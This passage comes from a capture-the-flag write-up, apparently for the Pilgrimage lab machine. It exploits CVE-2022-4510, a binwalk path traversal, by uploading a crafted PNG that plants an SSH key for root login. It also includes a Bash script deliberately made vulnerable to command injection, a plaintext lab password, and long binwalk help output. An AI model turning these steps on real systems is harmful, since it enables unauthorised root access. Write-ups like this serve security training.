Aside About ScriptKiddie

It reminds me a lot of when I was making ScriptKiddie, specifically the step to pivot from kid to pwn. I was trying to make the script vulnerable to command injection, but Bash didn’t allow it. I eventually left this script (which also ran triggered by inotifywait, interestingly):



cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

The reason the nmap scan runs under sh -c is so that it would be vulnerable to this injection.



The -h option in binwalk will show the version:

emily@pilgrimage:~$ binwalk -h

Binwalk v2.3.2
Craig Heffner, ReFirmLabs

Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...

Signature Scan Options:
    -B, --signature              Scan target file(s) for common file signatures
    -R, --raw=<str>              Scan target file(s) for the specified sequence of bytes
    -A, --opcodes                Scan target file(s) for common executable opcode signatures
    -m, --magic=<file>           Specify a custom magic file to use
    -b, --dumb                   Disable smart signature keywords
    -I, --invalid                Show results marked as invalid
    -x, --exclude=<str>          Exclude results that match <str>
    -y, --include=<str>          Only show results that match <str>

Extraction Options:
    -e, --extract                Automatically extract known file types
    -D, --dd=<type[:ext[:cmd]]>  Extract <type> signatures (regular expression), give the files an extension of <ext>, and execute <cmd>
    -M, --matryoshka             Recursively scan extracted files
    -d, --depth=<int>            Limit matryoshka recursion depth (default: 8 levels deep)
    -C, --directory=<str>        Extract files/folders to a custom directory (default: current working directory)
    -j, --size=<int>             Limit the size of each extracted file
    -n, --count=<int>            Limit the number of extracted files
    -r, --rm                     Delete carved files after extraction
    -z, --carve                  Carve data from files, but don't execute extraction utilities
    -V, --subdirs                Extract into sub-directories named by the offset

Entropy Options:
    -E, --entropy                Calculate file entropy
    -F, --fast                   Use faster, but less detailed, entropy analysis
    -J, --save                   Save plot as a PNG
    -Q, --nlegend                Omit the legend from the entropy plot graph
    -N, --nplot                  Do not generate an entropy plot graph
    -H, --high=<float>           Set the rising edge entropy trigger threshold (default: 0.95)
    -L, --low=<float>            Set the falling edge entropy trigger threshold (default: 0.85)

Binary Diffing Options:
    -W, --hexdump                Perform a hexdump / diff of a file or files
    -G, --green                  Only show lines containing bytes that are the same among all files
    -i, --red                    Only show lines containing bytes that are different among all files
    -U, --blue                   Only show lines containing bytes that are different among some files
    -u, --similar                Only display lines that are the same between all files
    -w, --terse                  Diff all files, but only display a hex dump of the first file

Raw Compression Options:
    -X, --deflate                Scan for raw deflate compression streams
    -Z, --lzma                   Scan for raw LZMA compression streams
    -P, --partial                Perform a superficial, but faster, scan
    -S, --stop                   Stop after the first result

General Options:
    -l, --length=<int>           Number of bytes to scan
    -o, --offset=<int>           Start scan at this file offset
    -O, --base=<int>             Add a base address to all printed offsets
    -K, --block=<int>            Set file block size
    -g, --swap=<int>             Reverse every n bytes before scanning
    -f, --log=<file>             Log results to file
    -c, --csv                    Log results to file in CSV format
    -t, --term                   Format output to fit the terminal window
    -q, --quiet                  Suppress output to stdout
    -v, --verbose                Enable verbose output
    -h, --help                   Show help output
    -a, --finclude=<str>         Only scan files whose names match this regex
    -p, --fexclude=<str>         Do not scan files whose names match this regex
    -s, --status=<int>           Enable the status server on the specified port

This is version v2.3.2.

Searching for “binwalk CVE” returns a bunch of references to CVE-2022-4510:


This version should be vulnerable.


This post from OneKey describes who their researcher found this issue. binwalk is actually a Python script, and it uses os.path.join to build paths. The issue is that if there are ../ in one of the items being joined, it doesn’t resolve those.

Files in a PFS filesystem can have ../ in their filename.

So while the code does an os.path.join and then checks to make sure that the resulting path starts with the intended directory, because the ../ doesn’t get resolved, that check will never fire and therefore is bypassed.

This gives arbitrary write as the binwalk process. This can be exploited by overwriting an authorized_keys file or crontab file. The author in the post shows how to write a binwalk plugin that will actually get picked up and executed during the scan that generates it.


This repo has a working Python exploit that abuses the plugin creation method. I’ll try the ssh method, giving it a template file and a public key:

oxdf@hacky$ python walkingpath.py ssh root.png ~/keys/ed25519_gen.pub 

The output is a file named binwalk_exploit.png. I’ll upload it into the shrunk directory:

oxdf@hacky$ sshpass -p abigchonkyboi123 scp binwalk_exploit.png emily@pilgrimage.htb:/var/www/pilgrimage.htb/shrunk/

From there, I’m able to SSH in as root:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@pilgrimage.htb 
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

And get the root flag:

root@pilgrimage:~# cat root.txt